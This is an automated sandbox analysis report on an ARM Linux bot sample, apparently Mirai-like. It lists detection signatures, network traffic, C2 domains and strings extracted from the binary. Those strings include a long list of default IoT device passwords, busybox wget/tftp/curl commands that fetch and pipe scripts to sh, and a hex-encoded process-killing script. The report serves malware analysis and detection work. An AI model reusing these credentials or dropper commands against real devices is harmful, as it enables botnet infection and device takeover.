Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1541003
MD5: 1144c333e5818160caa9dc5f3df57a30
SHA1: 728f5cbdb57f7e301ec127745b5103dd050282ab
SHA256: cbf844c9247cdac672fd564cc311a1cbff811fd3c6b7cd9da9cefe401ab6f7c8
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.arm.elf Avira: detected
Source: la.bot.arm.elf ReversingLabs: Detection: 42%
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//maps/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4h

Networking

barindex
Source: global traffic TCP traffic: 103.253.147.242 ports 46852,2,4,5,6,8
Source: global traffic TCP traffic: 192.168.2.15:44646 -> 103.253.147.242:46852
Source: /tmp/la.bot.arm.elf (PID: 5521) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 214.120.60.59
Source: unknown TCP traffic detected without corresponding DNS query: 181.9.237.73
Source: unknown TCP traffic detected without corresponding DNS query: 214.120.60.59
Source: unknown TCP traffic detected without corresponding DNS query: 181.9.237.73
Source: unknown TCP traffic detected without corresponding DNS query: 191.59.55.251
Source: unknown TCP traffic detected without corresponding DNS query: 191.59.55.251
Source: unknown TCP traffic detected without corresponding DNS query: 43.169.195.226
Source: unknown TCP traffic detected without corresponding DNS query: 53.79.76.209
Source: unknown TCP traffic detected without corresponding DNS query: 43.169.195.226
Source: unknown TCP traffic detected without corresponding DNS query: 94.249.85.128
Source: unknown TCP traffic detected without corresponding DNS query: 53.79.76.209
Source: unknown TCP traffic detected without corresponding DNS query: 71.152.11.225
Source: unknown TCP traffic detected without corresponding DNS query: 94.249.85.128
Source: unknown TCP traffic detected without corresponding DNS query: 71.152.11.225
Source: unknown TCP traffic detected without corresponding DNS query: 105.95.161.143
Source: unknown TCP traffic detected without corresponding DNS query: 220.137.27.104
Source: unknown TCP traffic detected without corresponding DNS query: 105.95.161.143
Source: unknown TCP traffic detected without corresponding DNS query: 212.174.173.108
Source: unknown TCP traffic detected without corresponding DNS query: 220.137.27.104
Source: unknown TCP traffic detected without corresponding DNS query: 212.174.173.108
Source: unknown TCP traffic detected without corresponding DNS query: 158.152.5.85
Source: unknown TCP traffic detected without corresponding DNS query: 26.125.130.141
Source: unknown TCP traffic detected without corresponding DNS query: 49.22.223.111
Source: unknown TCP traffic detected without corresponding DNS query: 158.152.5.85
Source: unknown TCP traffic detected without corresponding DNS query: 205.214.65.237
Source: unknown TCP traffic detected without corresponding DNS query: 26.125.130.141
Source: unknown TCP traffic detected without corresponding DNS query: 37.111.156.132
Source: unknown TCP traffic detected without corresponding DNS query: 49.22.223.111
Source: unknown TCP traffic detected without corresponding DNS query: 147.104.239.165
Source: unknown TCP traffic detected without corresponding DNS query: 205.214.65.237
Source: unknown TCP traffic detected without corresponding DNS query: 57.128.114.35
Source: unknown TCP traffic detected without corresponding DNS query: 37.111.156.132
Source: unknown TCP traffic detected without corresponding DNS query: 81.128.139.167
Source: unknown TCP traffic detected without corresponding DNS query: 147.104.239.165
Source: unknown TCP traffic detected without corresponding DNS query: 211.235.96.43
Source: unknown TCP traffic detected without corresponding DNS query: 57.128.114.35
Source: unknown TCP traffic detected without corresponding DNS query: 55.2.29.251
Source: unknown TCP traffic detected without corresponding DNS query: 81.128.139.167
Source: unknown TCP traffic detected without corresponding DNS query: 199.40.201.150
Source: unknown TCP traffic detected without corresponding DNS query: 211.235.96.43
Source: unknown TCP traffic detected without corresponding DNS query: 55.2.29.251
Source: unknown TCP traffic detected without corresponding DNS query: 109.32.217.7
Source: unknown TCP traffic detected without corresponding DNS query: 199.40.201.150
Source: unknown TCP traffic detected without corresponding DNS query: 107.103.97.13
Source: unknown TCP traffic detected without corresponding DNS query: 146.224.130.15
Source: unknown TCP traffic detected without corresponding DNS query: 109.32.217.7
Source: unknown TCP traffic detected without corresponding DNS query: 168.141.201.202
Source: unknown TCP traffic detected without corresponding DNS query: 107.103.97.13
Source: unknown TCP traffic detected without corresponding DNS query: 95.232.58.50
Source: unknown TCP traffic detected without corresponding DNS query: 146.224.130.15
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@4/0

Data Obfuscation

barindex
Source: /tmp/la.bot.arm.elf (PID: 5524) File: /etc/config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5524) Directory: /etc/.java Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.arm.elf (PID: 5524) Log files deleted: /var/log/kern.log Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5521) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 5521.1.00007ffcc7c5e000.00007ffcc7c7f000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 5521.1.000055a0bd7ad000.000055a0bd8fb000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5521.1.000055a0bd7ad000.000055a0bd8fb000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5521.1.00007ffcc7c5e000.00007ffcc7c7f000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs